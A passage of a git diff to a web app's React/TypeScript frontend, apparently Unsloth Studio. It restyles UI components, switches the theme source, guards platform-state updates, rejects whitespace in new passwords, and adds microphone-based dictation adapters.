       data-sidebar="group-label"
       className={cn(
-        "text-[#94a3b8] dark:text-[#666] ring-sidebar-ring h-auto pt-3 pb-2 px-4 rounded-md text-[10px] font-semibold uppercase tracking-[0em] group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0 focus-visible:ring-2 [&>svg]:size-3 flex shrink-0 items-center outline-hidden [&>svg]:shrink-0",
+        "text-[#94a3b8] dark:text-[#666] ring-sidebar-ring h-auto pt-3 pb-2 px-4 rounded-md text-ui-10 font-semibold uppercase tracking-[0em] group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0 focus-visible:ring-1 [&>svg]:size-3 flex shrink-0 items-center outline-hidden [&>svg]:shrink-0",
         className
       )}
       {...props}
@@ -491,7 +491,7 @@ function SidebarGroupAction({
       data-slot="sidebar-group-action"
       data-sidebar="group-action"
       className={cn(
-        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground absolute top-3.5 right-3 w-5 rounded-md p-0 focus-visible:ring-2 [&>svg]:size-4 flex aspect-square items-center justify-center outline-hidden transition-transform group-data-[collapsible=icon]:hidden after:absolute after:-inset-2 md:after:hidden [&>svg]:shrink-0",
+        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground absolute top-3.5 right-3 w-5 rounded-md p-0 focus-visible:ring-1 [&>svg]:size-4 flex aspect-square items-center justify-center outline-hidden transition-transform group-data-[collapsible=icon]:hidden after:absolute after:-inset-2 md:after:hidden [&>svg]:shrink-0",
         className
       )}
       {...props}
@@ -637,7 +637,7 @@ function SidebarMenuAction({
       data-slot="sidebar-menu-action"
       data-sidebar="menu-action"
       className={cn(
-        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground peer-hover/menu-button:text-sidebar-accent-foreground absolute top-1.5 right-1 aspect-square w-5 rounded-md p-0 peer-data-[size=default]/menu-button:top-2 peer-data-[size=lg]/menu-button:top-2.5 peer-data-[size=sm]/menu-button:top-1 focus-visible:ring-2 [&>svg]:size-4 flex items-center justify-center outline-hidden transition-transform group-data-[collapsible=icon]:hidden after:absolute after:-inset-2 md:after:hidden [&>svg]:shrink-0",
+        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground peer-hover/menu-button:text-sidebar-accent-foreground absolute top-1.5 right-1 aspect-square w-5 rounded-md p-0 peer-data-[size=default]/menu-button:top-2 peer-data-[size=lg]/menu-button:top-2.5 peer-data-[size=sm]/menu-button:top-1 focus-visible:ring-1 [&>svg]:size-4 flex items-center justify-center outline-hidden transition-transform group-data-[collapsible=icon]:hidden after:absolute after:-inset-2 md:after:hidden [&>svg]:shrink-0",
         showOnHover &&
           "peer-data-active/menu-button:text-sidebar-accent-foreground group-focus-within/menu-item:opacity-100 group-hover/menu-item:opacity-100 data-open:opacity-100 md:opacity-0",
         className
@@ -747,7 +747,7 @@ function SidebarMenuSubButton({
       data-size={size}
       data-active={isActive}
       className={cn(
-        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground active:bg-sidebar-accent active:text-sidebar-accent-foreground [&>svg]:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:text-sidebar-accent-foreground h-7 gap-2 rounded-md px-2 focus-visible:ring-2 data-[size=md]:text-sm data-[size=sm]:text-xs [&>svg]:size-4 flex min-w-0 -translate-x-px items-center overflow-hidden outline-hidden group-data-[collapsible=icon]:hidden disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 [&>span:last-child]:truncate [&>svg]:shrink-0",
+        "text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground active:bg-sidebar-accent active:text-sidebar-accent-foreground [&>svg]:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:text-sidebar-accent-foreground h-7 gap-2 rounded-md px-2 focus-visible:ring-1 data-[size=md]:text-sm data-[size=sm]:text-xs [&>svg]:size-4 flex min-w-0 -translate-x-px items-center overflow-hidden outline-hidden group-data-[collapsible=icon]:hidden disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 [&>span:last-child]:truncate [&>svg]:shrink-0",
         className
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/slider.tsx b/studio/frontend/src/components/ui/slider.tsx
index 705182e5ae..b921b25942 100644
--- a/studio/frontend/src/components/ui/slider.tsx
+++ b/studio/frontend/src/components/ui/slider.tsx
@@ -103,7 +103,7 @@ function Slider({
         <SliderPrimitive.Thumb
           data-slot="slider-thumb"
           key={index}
-          className="ring-ring/50 relative z-10 size-4 rounded-4xl bg-white shadow-sm block shrink-0 select-none cursor-pointer disabled:pointer-events-none disabled:opacity-50 transition-transform duration-100 ease-out hover:scale-110 hover:ring-4 active:scale-95 focus-visible:ring-4 focus-visible:outline-hidden"
+          className="ring-ring/50 relative z-10 size-4 rounded-4xl bg-white shadow-sm block shrink-0 select-none cursor-pointer disabled:pointer-events-none disabled:opacity-50 transition-transform duration-100 ease-out hover:scale-110 hover:ring-4 active:scale-95 focus-visible:ring-1 focus-visible:outline-hidden"
         />
       ))}
     </SliderPrimitive.Root>
diff --git a/studio/frontend/src/components/ui/sonner.tsx b/studio/frontend/src/components/ui/sonner.tsx
index 33c2b77262..aec1235b81 100644
--- a/studio/frontend/src/components/ui/sonner.tsx
+++ b/studio/frontend/src/components/ui/sonner.tsx
@@ -9,7 +9,7 @@ import {
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { Spinner } from "@/components/ui/spinner";
-import { useTheme } from "next-themes";
+import { useTheme } from "@/features/settings/stores/theme-store";
 import { Toaster as Sonner, type ToasterProps } from "sonner";
 
 // Make toast text selectable. Sonner's onPointerDown calls setPointerCapture(),
@@ -33,9 +33,9 @@ const handleToastPointerDownCapture = (
 };
 
 const Toaster = ({ ...props }: ToasterProps) => {
-  // Use resolvedTheme so sonner's data-sonner-theme always matches the class
-  // next-themes puts on <html>; sonner-side "system" resolution can drift.
-  const { resolvedTheme } = useTheme();
+  // Use the resolved mode so sonner's data-sonner-theme always matches the
+  // class the theme store puts on <html>.
+  const { resolved } = useTheme();
 
   return (
     // display:contents adds no box; only carries the selection-fix handler.
@@ -45,7 +45,7 @@ const Toaster = ({ ...props }: ToasterProps) => {
       onPointerDownCapture={handleToastPointerDownCapture}
     >
       <Sonner
-        theme={(resolvedTheme as ToasterProps["theme"]) ?? "light"}
+        theme={resolved}
         className="toaster group"
         duration={5000}
         icons={{
@@ -90,7 +90,7 @@ const Toaster = ({ ...props }: ToasterProps) => {
             // Pin the close button inside the toast's top-right corner.
             // Sonner defaults to the left/outside edge, so keep the horizontal
             // override here and the top offset in index.css.
-            "--toast-close-button-start": "unset",
+            "--toast-close-button-start": "auto",
             "--toast-close-button-end": "8px",
             "--toast-close-button-transform": "none",
           } as React.CSSProperties
diff --git a/studio/frontend/src/components/ui/switch.tsx b/studio/frontend/src/components/ui/switch.tsx
index 910005c0d6..db63936f37 100644
--- a/studio/frontend/src/components/ui/switch.tsx
+++ b/studio/frontend/src/components/ui/switch.tsx
@@ -18,14 +18,14 @@ function Switch({
       data-slot="switch"
       data-size={size}
       className={cn(
-        "data-checked:bg-primary data-unchecked:bg-input focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 dark:data-unchecked:bg-input/80 shrink-0 rounded-full border border-transparent focus-visible:ring-[3px] aria-invalid:ring-[3px] data-[size=default]:h-[18.4px] data-[size=default]:w-[32px] data-[size=sm]:h-[14px] data-[size=sm]:w-[24px] peer group/switch relative inline-flex items-center transition-all outline-none after:absolute after:-inset-x-3 after:-inset-y-2 data-disabled:cursor-not-allowed data-disabled:opacity-50",
+        "data-checked:bg-control-accent data-unchecked:bg-input focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 dark:data-unchecked:bg-input/80 shrink-0 rounded-full border border-transparent aria-invalid:ring-[3px] data-[size=default]:h-[18.4px] data-[size=default]:w-[32px] data-[size=sm]:h-[14px] data-[size=sm]:w-[24px] peer group/switch relative inline-flex items-center transition-all outline-none after:absolute after:-inset-x-3 after:-inset-y-2 data-disabled:cursor-not-allowed data-disabled:opacity-50",
         className,
       )}
       {...props}
     >
       <SwitchPrimitive.Thumb
         data-slot="switch-thumb"
-        className="bg-background dark:data-unchecked:bg-foreground dark:data-checked:bg-primary-foreground rounded-full group-data-[size=default]/switch:size-4 group-data-[size=sm]/switch:size-3 group-data-[size=default]/switch:data-checked:translate-x-[calc(100%-2px)] group-data-[size=sm]/switch:data-checked:translate-x-[calc(100%-2px)] group-data-[size=default]/switch:data-unchecked:translate-x-0 group-data-[size=sm]/switch:data-unchecked:translate-x-0 pointer-events-none block ring-0 transition-transform"
+        className="bg-background dark:data-unchecked:bg-foreground dark:data-checked:bg-control-accent-foreground rounded-full group-data-[size=default]/switch:size-4 group-data-[size=sm]/switch:size-3 group-data-[size=default]/switch:data-checked:translate-x-[calc(100%-2px)] group-data-[size=sm]/switch:data-checked:translate-x-[calc(100%-2px)] group-data-[size=default]/switch:data-unchecked:translate-x-0 group-data-[size=sm]/switch:data-unchecked:translate-x-0 pointer-events-none block ring-0 transition-transform"
       />
     </SwitchPrimitive.Root>
   );
diff --git a/studio/frontend/src/components/ui/tabs.tsx b/studio/frontend/src/components/ui/tabs.tsx
index 1e5381ab18..27f0257d86 100644
--- a/studio/frontend/src/components/ui/tabs.tsx
+++ b/studio/frontend/src/components/ui/tabs.tsx
@@ -106,11 +106,13 @@ export function TabsTrigger({
       data-slot="tabs-trigger"
       value={value}
       className={cn(
-        "gap-1.5 rounded-xl corner-squircle border border-transparent px-2 py-1 text-sm font-medium group-data-vertical/tabs:px-2.5 group-data-vertical/tabs:py-1.5 [&_svg:not([class*='size-'])]:size-4 focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring text-foreground/60 hover:text-foreground dark:text-muted-foreground dark:hover:text-foreground relative inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center whitespace-nowrap transition-colors group-data-[orientation=vertical]/tabs:w-full group-data-[orientation=vertical]/tabs:justify-start focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
+        "gap-1.5 rounded-xl corner-squircle border border-transparent px-2 py-1 text-sm font-medium group-data-vertical/tabs:px-2.5 group-data-vertical/tabs:py-1.5 [&_svg:not([class*='size-'])]:size-4 focus-visible:border-ring dark:focus-visible:border-ring text-foreground/60 hover:text-foreground dark:text-muted-foreground dark:hover:text-foreground relative inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center whitespace-nowrap transition-colors group-data-[orientation=vertical]/tabs:w-full group-data-[orientation=vertical]/tabs:justify-start disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
         "group-data-[variant=line]/tabs-list:bg-transparent group-data-[variant=line]/tabs-list:data-active:bg-transparent dark:group-data-[variant=line]/tabs-list:data-active:border-transparent dark:group-data-[variant=line]/tabs-list:data-active:bg-transparent",
         // Line variant is a roomier pill (no underline); padding overrides px-2 py-1.
         "group-data-[variant=line]/tabs-list:px-3.5 group-data-[variant=line]/tabs-list:py-2.5",
         "data-active:text-foreground dark:data-active:text-foreground",
+        // The sliding pill marks the active tab; no focus ring on top of it.
+        "data-active:focus-visible:ring-0 data-active:focus-visible:border-transparent dark:data-active:focus-visible:border-transparent data-active:focus-visible:outline-none",
         "after:bg-foreground after:absolute after:opacity-0 after:transition-opacity group-data-[orientation=horizontal]/tabs:after:inset-x-0 group-data-[orientation=horizontal]/tabs:after:bottom-[-5px] group-data-[orientation=horizontal]/tabs:after:h-0.5 group-data-[orientation=vertical]/tabs:after:inset-y-0 group-data-[orientation=vertical]/tabs:after:-right-1 group-data-[orientation=vertical]/tabs:after:w-0.5",
         className,
       )}
@@ -122,7 +124,7 @@ export function TabsTrigger({
           className={cn(
             "absolute inset-0",
             indicatorClassName ??
-              "rounded-xl bg-background dark:bg-input/30 dark:border dark:border-input group-data-[variant=line]/tabs-list:bg-[#ececec] dark:group-data-[variant=line]/tabs-list:bg-[#2d2f33] dark:group-data-[variant=line]/tabs-list:border-0",
+              "rounded-xl bg-background dark:bg-input/30 group-data-[variant=line]/tabs-list:bg-[#ececec] dark:group-data-[variant=line]/tabs-list:bg-[#2d2f33] dark:group-data-[variant=line]/tabs-list:border-0",
           )}
           transition={{
             type: "spring",
diff --git a/studio/frontend/src/components/ui/textarea.tsx b/studio/frontend/src/components/ui/textarea.tsx
index 7ffa58f7b9..697ee9843b 100644
--- a/studio/frontend/src/components/ui/textarea.tsx
+++ b/studio/frontend/src/components/ui/textarea.tsx
@@ -18,7 +18,9 @@ function Textarea({
     <textarea
       data-slot="textarea"
       className={cn(
-        "border-input bg-input/30 focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 resize-none rounded-xl border px-3 py-3 text-base transition-colors focus-visible:ring-[3px] aria-invalid:ring-[3px] md:text-sm placeholder:text-muted-foreground flex min-h-16 min-w-0 max-w-full w-full whitespace-pre-wrap break-words [overflow-wrap:anywhere] outline-none disabled:cursor-not-allowed disabled:opacity-50",
+        // White fill with a subtle border.
+        // Multi-row control, so rounded-xl rather than a full pill.
+        "border-border bg-background dark:border-transparent dark:bg-white/[0.06] focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 resize-none rounded-xl border px-3.5 py-3 text-base transition-colors aria-invalid:ring-[3px] md:text-sm placeholder:text-muted-foreground flex min-h-16 min-w-0 max-w-full w-full whitespace-pre-wrap break-words [overflow-wrap:anywhere] outline-none disabled:cursor-not-allowed disabled:opacity-50",
         fieldSizing === "content" ? "field-sizing-content" : "[field-sizing:fixed]",
         className,
       )}
diff --git a/studio/frontend/src/components/ui/toggle.tsx b/studio/frontend/src/components/ui/toggle.tsx
index 9266af8cb5..f613934919 100644
--- a/studio/frontend/src/components/ui/toggle.tsx
+++ b/studio/frontend/src/components/ui/toggle.tsx
@@ -12,7 +12,7 @@ import type * as React from "react";
 import { cn } from "@/lib/utils";
 
 export const toggleVariants = cva(
-  "hover:text-foreground aria-pressed:bg-muted focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive gap-1 rounded-4xl text-sm font-medium transition-colors [&_svg:not([class*='size-'])]:size-4 group/toggle hover:bg-muted inline-flex items-center justify-center whitespace-nowrap outline-none focus-visible:ring-[3px] disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
+  "hover:text-foreground aria-pressed:bg-muted focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive gap-1 rounded-4xl text-sm font-medium transition-colors [&_svg:not([class*='size-'])]:size-4 group/toggle hover:bg-muted inline-flex items-center justify-center whitespace-nowrap outline-none disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
   {
     variants: {
       variant: {
diff --git a/studio/frontend/src/components/ui/tooltip.tsx b/studio/frontend/src/components/ui/tooltip.tsx
index cbc1a09a8f..91745af5ec 100644
--- a/studio/frontend/src/components/ui/tooltip.tsx
+++ b/studio/frontend/src/components/ui/tooltip.tsx
@@ -67,9 +67,14 @@ function TooltipTrigger({
 
   const handleClick = useCallback(
     (e: React.MouseEvent<HTMLButtonElement>) => {
+      // Run the composed handler first: when this trigger wraps another Radix
+      // trigger (e.g. DialogTrigger around an attachment tile), that trigger's
+      // action is skipped if the event is already default-prevented.
+      onClick?.(e);
+      // preventDefault keeps Radix Tooltip's internal close-on-click from
+      // undoing the tap-toggle below (its composed handler checks it).
       e.preventDefault();
       toggle?.();
-      onClick?.(e);
     },
     [toggle, onClick],
   );
diff --git a/studio/frontend/src/components/web/update-banner.tsx b/studio/frontend/src/components/web/update-banner.tsx
index 55ef06166b..d8ae92bf5f 100644
--- a/studio/frontend/src/components/web/update-banner.tsx
+++ b/studio/frontend/src/components/web/update-banner.tsx
@@ -132,7 +132,7 @@ export function WebUpdateBanner({
                 href={RELEASE_NOTES_URL}
                 target="_blank"
                 rel="noopener noreferrer"
-                className="-ml-2 whitespace-nowrap rounded-full px-2.5 py-2 text-[13px] font-medium text-foreground transition-colors hover:bg-muted"
+                className="-ml-2 whitespace-nowrap rounded-full px-2.5 py-2 text-ui-13 font-medium text-foreground transition-colors hover:bg-muted"
                 data-testid="web-update-release-notes-link"
               >
                 Release notes
@@ -142,7 +142,7 @@ export function WebUpdateBanner({
                 <Button
                   size="sm"
                   variant="ghost"
-                  className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                  className="h-auto rounded-full px-3 py-2 text-ui-13 font-medium text-foreground"
                   onClick={snooze}
                   data-testid="web-update-snooze-button"
                 >
@@ -151,7 +151,7 @@ export function WebUpdateBanner({
                 <Button
                   size="sm"
                   // -mr optically aligns the filled pill's edge with the card padding
-                  className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+                  className="-mr-1 h-auto rounded-full px-3.5 py-2 text-ui-13"
                   onClick={handleCopyCommand}
                   data-testid="web-update-copy-button"
                 >
diff --git a/studio/frontend/src/config/env.ts b/studio/frontend/src/config/env.ts
index def1b9bad9..63cdd03141 100644
--- a/studio/frontend/src/config/env.ts
+++ b/studio/frontend/src/config/env.ts
@@ -54,6 +54,17 @@ export const usePlatformStore = create<PlatformState>()((_, get) => ({
   isChatOnly: () => get().chatOnly,
 }));
 
+// Once an authoritative (server-reported) platform has been fetched, a
+// non-forced response must not overwrite it. The post-render fetchDeviceType()
+// in main.tsx runs before auth is ready and can resolve after the authed
+// root-route/provider fetches; such a late write would reset deviceType,
+// cloudflareUrl/serverUrl/secure, and fetched, whether it is a browser fallback
+// (unauthenticated) or an earlier authenticated request that landed after a
+// later forced refresh. Forced refreshes are explicit re-reads, so they still write.
+function shouldKeepAuthoritativePlatform(force?: boolean): boolean {
+  return !force && usePlatformStore.getState().fetched;
+}
+
 // `force` re-reads /api/health even if cached, to pick up a late-arriving tunnel URL.
 export async function fetchDeviceType(options?: {
   force?: boolean;
@@ -81,6 +92,15 @@ export async function fetchDeviceType(options?: {
         server_url?: string | null;
         secure?: boolean;
       };
+      // Once the store holds an authoritative (server-reported) platform, a
+      // non-forced response must not overwrite it. It may be an unauthenticated
+      // fallback, or an earlier authenticated request that resolved after a
+      // later forced refresh already picked up device_type and the tunnel
+      // fields; writing either would reset device type or null the tunnel
+      // fields. Forced refreshes are explicit re-reads, so they still write.
+      if (shouldKeepAuthoritativePlatform(options?.force)) {
+        return usePlatformStore.getState().deviceType;
+      }
       const deviceType = data.device_type ?? detectLocalPlatform();
       const chatOnly = data.chat_only ?? false;
       const chatOnlyReason = data.chat_only_reason ?? null;
@@ -101,7 +121,11 @@ export async function fetchDeviceType(options?: {
   } catch {
     // Backend not ready: use client-side detection so chat-only guard works
     // on initial load (important for macOS). Keep fetched=false so a later
-    // call retries against the backend.
+    // call retries against the backend. But a late non-forced failure must not
+    // wipe an authoritative platform that already resolved.
+    if (shouldKeepAuthoritativePlatform(options?.force)) {
+      return usePlatformStore.getState().deviceType;
+    }
     const deviceType = detectLocalPlatform();
     const chatOnly = deviceType === "mac";
     usePlatformStore.setState({ deviceType, chatOnly, fetched: false });
diff --git a/studio/frontend/src/config/training.ts b/studio/frontend/src/config/training.ts
index 873e9aa203..10f7e93e5e 100644
--- a/studio/frontend/src/config/training.ts
+++ b/studio/frontend/src/config/training.ts
@@ -92,6 +92,19 @@ export const OPTIMIZER_OPTIONS: ReadonlyArray<{ value: string; label: string }>
   { value: "adamw_torch_fused", label: "AdamW (PyTorch Fused)" },
 ];
 
+// Optimizers the MLX trainer actually supports on Apple Silicon. Values must
+// match SUPPORTED_MLX_OPTIMIZERS in unsloth-zoo's mlx/trainer.py; on MLX the
+// bitsandbytes/torch names above have no meaning and are remapped to plain
+// AdamW, so Studio offers this list instead when running on a Mac.
+export const MLX_OPTIMIZER_OPTIONS: ReadonlyArray<{ value: string; label: string }> = [
+  { value: "adamw", label: "AdamW" },
+  { value: "adam", label: "Adam" },
+  { value: "lion", label: "Lion" },
+  { value: "muon", label: "Muon" },
+  { value: "sgd", label: "SGD" },
+  { value: "adafactor", label: "Adafactor" },
+];
+
 export const LR_SCHEDULER_OPTIONS: ReadonlyArray<{ value: string; label: string }> = [
   { value: "linear", label: "Linear" },
   { value: "cosine", label: "Cosine" },
diff --git a/studio/frontend/src/features/auth/api.ts b/studio/frontend/src/features/auth/api.ts
index 144e85d40a..38ab9aa5ea 100644
--- a/studio/frontend/src/features/auth/api.ts
+++ b/studio/frontend/src/features/auth/api.ts
@@ -82,6 +82,10 @@ async function redirectToAuth(): Promise<void> {
     // Fall through to /login on error
   }
 
+  if (window.location.pathname === target) {
+    isRedirecting = false;
+    return;
+  }
   window.location.href = target;
 }
 
diff --git a/studio/frontend/src/features/auth/components/auth-form.tsx b/studio/frontend/src/features/auth/components/auth-form.tsx
index 119471da10..72181b8e4f 100644
--- a/studio/frontend/src/features/auth/components/auth-form.tsx
+++ b/studio/frontend/src/features/auth/components/auth-form.tsx
@@ -196,8 +196,10 @@ export function AuthForm({ mode }: AuthFormProps): ReactElement | null {
     !isLoginMode &&
     (currentPassword.length < 8 ||
       newPassword.length < 8 ||
+      /\s/.test(newPassword) ||
       newPassword !== confirmPassword ||
       currentPassword === newPassword);
+  const showWhitespaceWarning = !isLoginMode && /\s/.test(newPassword);
   const showPasswordMismatchWarning =
     !isLoginMode &&
     newPassword.length > 0 &&
@@ -222,6 +224,10 @@ export function AuthForm({ mode }: AuthFormProps): ReactElement | null {
         setError("New password must be at least 8 characters.");
         return;
       }
+      if (/\s/.test(newPassword)) {
+        setError("New password cannot contain spaces.");
+        return;
+      }
       if (newPassword !== confirmPassword) {
         setError("Passwords do not match.");
         return;
@@ -298,7 +304,7 @@ export function AuthForm({ mode }: AuthFormProps): ReactElement | null {
       // reset-password"), which the installer puts on PATH on every platform.
       // Do NOT rewrite it to a relative Windows path like
       // ".\unsloth_studio\Scripts\unsloth.exe ..." -- that only resolves inside
-      // the Studio home dir and fails with CommandNotFoundException elsewhere.
+      // the Unsloth home dir and fails with CommandNotFoundException elsewhere.
       // Show the backend message as-is.
       const msg = err instanceof Error ? err.message : "Auth failed.";
       setError(msg);
@@ -425,13 +431,17 @@ export function AuthForm({ mode }: AuthFormProps): ReactElement | null {
             </div>
             <p
               className={`min-h-4 text-xs ${
-                showPasswordMismatchWarning ? "text-destructive" : "text-muted-foreground"
+                showWhitespaceWarning || showPasswordMismatchWarning
+                  ? "text-destructive"
+                  : "text-muted-foreground"
               }`}
               aria-live="polite"
             >
-              {showPasswordMismatchWarning
-                ? "Please ensure passwords match."
-                : "Must be at least 8 characters."}
+              {showWhitespaceWarning
+                ? "New password cannot contain spaces."
+                : showPasswordMismatchWarning
+                  ? "Please ensure passwords match."
+                  : "Must be at least 8 characters."}
             </p>
           </>
         )}
@@ -439,7 +449,11 @@ export function AuthForm({ mode }: AuthFormProps): ReactElement | null {
         {helperText && (
           <p className="text-center text-sm text-amber-600">{helperText}</p>
         )}
-        {error && <p className="text-center text-sm text-destructive">{error}</p>}
+        {error && (
+          <p className="text-center text-sm text-destructive [overflow-wrap:anywhere]">
+            {error}
+          </p>
+        )}
 
         <Button
           type="submit"
diff --git a/studio/frontend/src/features/chat/adapters/dictation-level.ts b/studio/frontend/src/features/chat/adapters/dictation-level.ts
new file mode 100644
index 0000000000..e38060ba0e
--- /dev/null
+++ b/studio/frontend/src/features/chat/adapters/dictation-level.ts
@@ -0,0 +1,91 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+type LevelListener = (level: number) => void;
+type FrameListener = (rawRms: number, now: number) => void;
+
+const levelListeners = new Set<LevelListener>();
+
+/** Subscribe to the live microphone level (0..1) during dictation. */
+export function subscribeDictationLevel(listener: LevelListener): () => void {
+  levelListeners.add(listener);
+  return () => {
+    levelListeners.delete(listener);
+  };
+}
+
+function publishLevel(level: number): void {
+  for (const listener of levelListeners) {
+    listener(level);
+  }
+}
+
+/**
+ * Start a lightweight Web Audio meter for the shared recording waveform and
+ * optional voice-activity detection. Returns an idempotent cleanup function.
+ */
+export function startDictationLevelMeter(
+  source: MediaStream,
+  onFrame?: FrameListener,
+): () => void {
+  let audioContext: AudioContext | null = null;
+  let levelRaf = 0;
+  let stopped = false;
+
+  const stop = () => {
+    if (stopped) {
+      return;
+    }
+    stopped = true;
+    if (levelRaf) {
+      cancelAnimationFrame(levelRaf);
+    }
+    levelRaf = 0;
+    audioContext?.close().catch(() => {
+      // A closing or already-closed context is harmless.
+    });
+    audioContext = null;
+    publishLevel(0);
+  };
+
+  try {
+    const Ctx =
+      window.AudioContext ||
+      (window as unknown as { webkitAudioContext?: typeof AudioContext })
+        .webkitAudioContext;
+    if (!Ctx) {
+      return stop;
+    }
+    audioContext = new Ctx();
+    audioContext.resume().catch(() => {
+      // Some browsers resume automatically after microphone permission.
+    });
+    const node = audioContext.createMediaStreamSource(source);
+    const analyser = audioContext.createAnalyser();
+    analyser.fftSize = 512;
+    node.connect(analyser);
+    const data = new Uint8Array(analyser.frequencyBinCount);
+    const tick = () => {
+      if (stopped) {
+        return;
+      }
+      analyser.getByteTimeDomainData(data);
+      let sum = 0;
+      for (const sample of data) {
+        const value = (sample - 128) / 128;
+        sum += value * value;
+      }
+      const rms = Math.sqrt(sum / data.length);
+      onFrame?.(rms, performance.now());
+      // Perceptual boost so normal speech remains clearly visible.
+      publishLevel(Math.min(1, rms * 3.2));
+      levelRaf = requestAnimationFrame(tick);
+    };
+    levelRaf = requestAnimationFrame(tick);
+  } catch {
+    // The waveform is cosmetic; recording can continue without Web Audio.
+    stop();
+  }
+
+  return stop;
+}
diff --git a/studio/frontend/src/features/chat/adapters/studio-dictation-adapter.tsx b/studio/frontend/src/features/chat/adapters/studio-dictation-adapter.tsx
new file mode 100644
index 0000000000..d637a32b0d
--- /dev/null
+++ b/studio/frontend/src/features/chat/adapters/studio-dictation-adapter.tsx
@@ -0,0 +1,139 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useSettingsDialogStore } from "@/features/settings/stores/settings-dialog-store";
+import {
+  type DictationEngine,
+  useVoiceSettingsStore,
+} from "@/features/settings/stores/voice-settings-store";
+import { toast } from "@/lib/toast";
+import type { DictationAdapter } from "@assistant-ui/react";
+import { StudioModelDictationAdapter } from "./studio-model-dictation-adapter";
+import {
+  type StudioDictationSession,
+  StudioWebSpeechDictationAdapter,
+} from "./studio-web-speech-dictation-adapter";
+
+// The one live dictation session, so the recording bar's discard (X) can cancel
+// it without going through assistant-ui (which only exposes stop, i.e.
+// transcribe). Cancelling emits no transcript, so composer text is untouched.
+let activeSession: StudioDictationSession | null = null;
+
+/** Discard the current dictation without transcribing. Safe to call when idle. */
+export function cancelActiveStudioDictation(): void {
+  const session = activeSession;
+  activeSession = null;
+  session?.cancel();
+}
+
+/**
+ * Routes dictation to the engine chosen in Voice settings, resolved at listen()
+ * time so switching engines applies without reloading the chat runtime.
+ */
+/** Both local engines (Transformers and GGUF) record via MediaRecorder. */
+function usesModelRecording(dictationEngine: DictationEngine): boolean {
+  return dictationEngine === "model";
+}
+
+export class StudioDictationAdapter implements DictationAdapter {
+  // Chat linked in Recent dictations. undefined follows the active single chat;
+  // null records no chat (composers outside it, e.g. Compare).
+  private readonly chatId: string | null | undefined;
+
+  constructor(options: { chatId?: string | null } = {}) {
+    this.chatId = options.chatId;
+  }
+
+  static isSupported(
+    dictationEngine: DictationEngine = useVoiceSettingsStore.getState()
+      .dictationEngine,
+  ): boolean {
+    return usesModelRecording(dictationEngine)
+      ? StudioModelDictationAdapter.isSupported()
+      : StudioWebSpeechDictationAdapter.isSupported();
+  }
+
+  listen(): StudioDictationSession {
+    const session = this.createSession();
+    // A second entry point (chat, Compare, settings test) replaces the active
+    // session; cancel the old one so it cannot keep the mic open or save a
+    // transcript with no discard button pointing at it.
+    cancelActiveStudioDictation();
+    activeSession = session;
+    // Forget the session once it ends so a later cancel is a no-op.
+    const clear = () => {
+      if (activeSession === session) {
+        activeSession = null;
+      }
+    };
+    session.onSpeechEnd(clear);
+    session.onEnd?.(clear);
+    return session;
+  }
+
+  private createSession(): StudioDictationSession {
+    const { dictationEngine } = useVoiceSettingsStore.getState();
+    if (usesModelRecording(dictationEngine)) {
+      if (StudioModelDictationAdapter.isSupported()) {
+        return new StudioModelDictationAdapter({ chatId: this.chatId }).listen();
+      }
+      throw new Error(
+        "Local model dictation is not supported in this browser.",
+      );
+    }
+    if (StudioWebSpeechDictationAdapter.isSupported()) {
+      return new StudioWebSpeechDictationAdapter({ chatId: this.chatId }).listen();
+    }
+    throw new Error("Browser dictation is not supported in this browser.");
+  }
+}
+
+/** Whether dictation can run now for the chosen engine. */
+export function isStudioDictationAvailable(
